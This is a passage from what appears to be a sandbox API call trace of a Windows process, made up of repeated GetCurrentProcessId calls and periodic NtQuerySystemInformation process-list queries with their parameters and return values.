GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.675] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.676] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.677] GetCurrentProcessId () returned 0x10c0 [0253.678] GetCurrentProcessId () returned 0x10c0 [0253.678] GetCurrentProcessId () returned 0x10c0 [0253.678] GetCurrentProcessId () returned 0x10c0 [0253.678] GetCurrentProcessId () returned 0x10c0 [0254.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dc70) returned 0x0 [0254.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1da70) returned 0x0 [0255.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1da70) returned 0x0 [0255.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1da70) returned 0x0 [0256.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1da70) returned 0x0 [0257.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0257.717] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0258.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0258.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0259.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0260.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.046] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.047] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.048] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.049] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.050] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.051] GetCurrentProcessId () returned 0x10c0 [0260.052] GetCurrentProcessId () returned 0x10c0 [0260.052] GetCurrentProcessId () returned 0x10c0 [0260.052] GetCurrentProcessId () returned 0x10c0 [0260.052] GetCurrentProcessId () returned 0x10c0 [0260.052] GetCurrentProcessId () returned 0x10c0 [0260.052] GetCurrentProcessId () returned 0x10c0 [0260.637] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0261.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0261.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.805] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.806] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.807] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.808] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0261.809] GetCurrentProcessId () returned 0x10c0 [0262.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.320] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.321] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.322] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.323] GetCurrentProcessId () returned 0x10c0 [0262.324] GetCurrentProcessId () returned 0x10c0 [0262.324] GetCurrentProcessId () returned 0x10c0 [0262.324] GetCurrentProcessId () returned 0x10c0 [0262.324] GetCurrentProcessId () returned 0x10c0 [0262.324] GetCurrentProcessId () returned 0x10c0 [0262.324] GetCurrentProcessId () returned 0x10c0 [0262.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0263.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0264.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0264.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124f7c38, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124f7c38, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.645] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.646] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.647] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] 